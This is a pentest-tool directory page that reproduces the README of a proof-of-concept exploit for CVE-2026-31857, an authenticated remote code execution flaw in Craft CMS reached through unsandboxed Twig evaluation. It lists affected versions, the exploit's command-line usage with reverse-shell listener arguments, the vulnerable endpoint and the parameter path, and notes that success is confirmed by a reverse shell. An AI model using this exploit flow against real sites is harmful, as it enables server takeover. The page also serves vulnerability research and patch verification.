Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31857-PoC — Proof of Concept for CVE-2026-31857, an authenticated Remote Code Execution vulnerability in Craft CMS caused by unsafe processing of user-controlled Twig expressions. | Kitploit
Tools/GitHubGitHub/kaizoku73/cve-2026-31857-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHub
kaizoku73/cve-2026-31857-poc

CVE-2026-31857-PoC

Proof of Concept for CVE-2026-31857, an authenticated Remote Code Execution vulnerability in Craft CMS caused by unsafe processing of user-controlled Twig expressions.

View Repository
11 month agoNot yet reviewed
Share

CVE-2026-31857 — Craft CMS RCE PoC

Proof of Concept for CVE-2026-31857, an authenticated Remote Code Execution vulnerability in Craft CMS caused by unsafe processing of user-controlled Twig expressions.

For authorized security testing and educational purposes only.

Overview

CVE-2026-31857 is an authenticated Remote Code Execution vulnerability affecting Craft CMS.

The vulnerability exists in the processing of element condition rules. User-controlled data supplied through the element index filtering functionality can reach renderObjectTemplate() and be evaluated as an unsandboxed Twig template.

An authenticated user with access to the Craft Control Panel can therefore achieve arbitrary command execution on the underlying server.

Affected Versions

Craft CMSAffectedFixed
5.x5.0.0-RC1 – 5.9.85.9.9
4.x4.0.0-beta.1 – 4.17.34.17.4

Requirements

  • Python 3
  • requests
  • Valid Craft CMS credentials
  • Access to the Craft CMS Control Panel
  • A listener reachable from the target server

Install the required Python dependency:

pip install requests

Usage

Start a listener on the machine receiving the connection.

Then run:

python3 exploit.py \
    -u https://target.example.com \
    -U username \
    -P password \
    -l 10.10.14.10 \
    -p 4444

Arguments

ArgumentDescription
-u, --urlTarget Craft CMS URL
-U, --usernameCraft CMS username
-P, --passwordCraft CMS password
-l, --lhostListener IP address
-p, --lportListener port

Example:

python3 exploit.py -u http://craft.local -U author -P 'Password123!' -l 10.10.14.5 -p 4444

How It Works

The PoC performs the following steps:

  1. Requests the Craft CMS login page.
  2. Extracts the CSRF token.
  3. Authenticates using the supplied credentials.
  4. Constructs a malicious element condition.
  5. Places a Twig expression inside the elementIds condition parameter.
  6. Sends the crafted condition to:
/index.php?p=admin/actions/element-indexes/count-elements

The relevant request structure is:

JSON body
    │
    └── filters
          │
          └── condition[conditionRules][1]
                │
                └── RelatedToConditionRule
                      │
                      └── elementIds
                            │
                            └── Twig expression
                                  │
                                  └── command execution

The PoC uses the Twig filter functionality to invoke the system function.

Vulnerability Flow

At a high level, the vulnerable flow is:

Authenticated CP User
        │
        ▼
Element Index Filtering
        │
        ▼
RelatedToConditionRule
        │
        ▼
elementIds
        │
        ▼
renderObjectTemplate()
        │
        ▼
Unsandboxed Twig Evaluation
        │
        ▼
Arbitrary Command Execution

The important point is that elementIds is expected to contain element-related data, but attacker-controlled content can reach the object-template rendering functionality instead.

Detection / Verification

The PoC uses a reverse shell as the observable result of command execution.

A successful HTTP request alone does not prove that RCE occurred. The strongest confirmation is receiving the resulting connection on the listener.

The PoC also uses a short HTTP timeout because command execution can prevent the Craft request from completing normally.

Therefore:

HTTP timeout
    ≠
guaranteed RCE

It is only treated by this PoC as an indication that the payload may have been triggered. The listener connection provides the actual confirmation.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →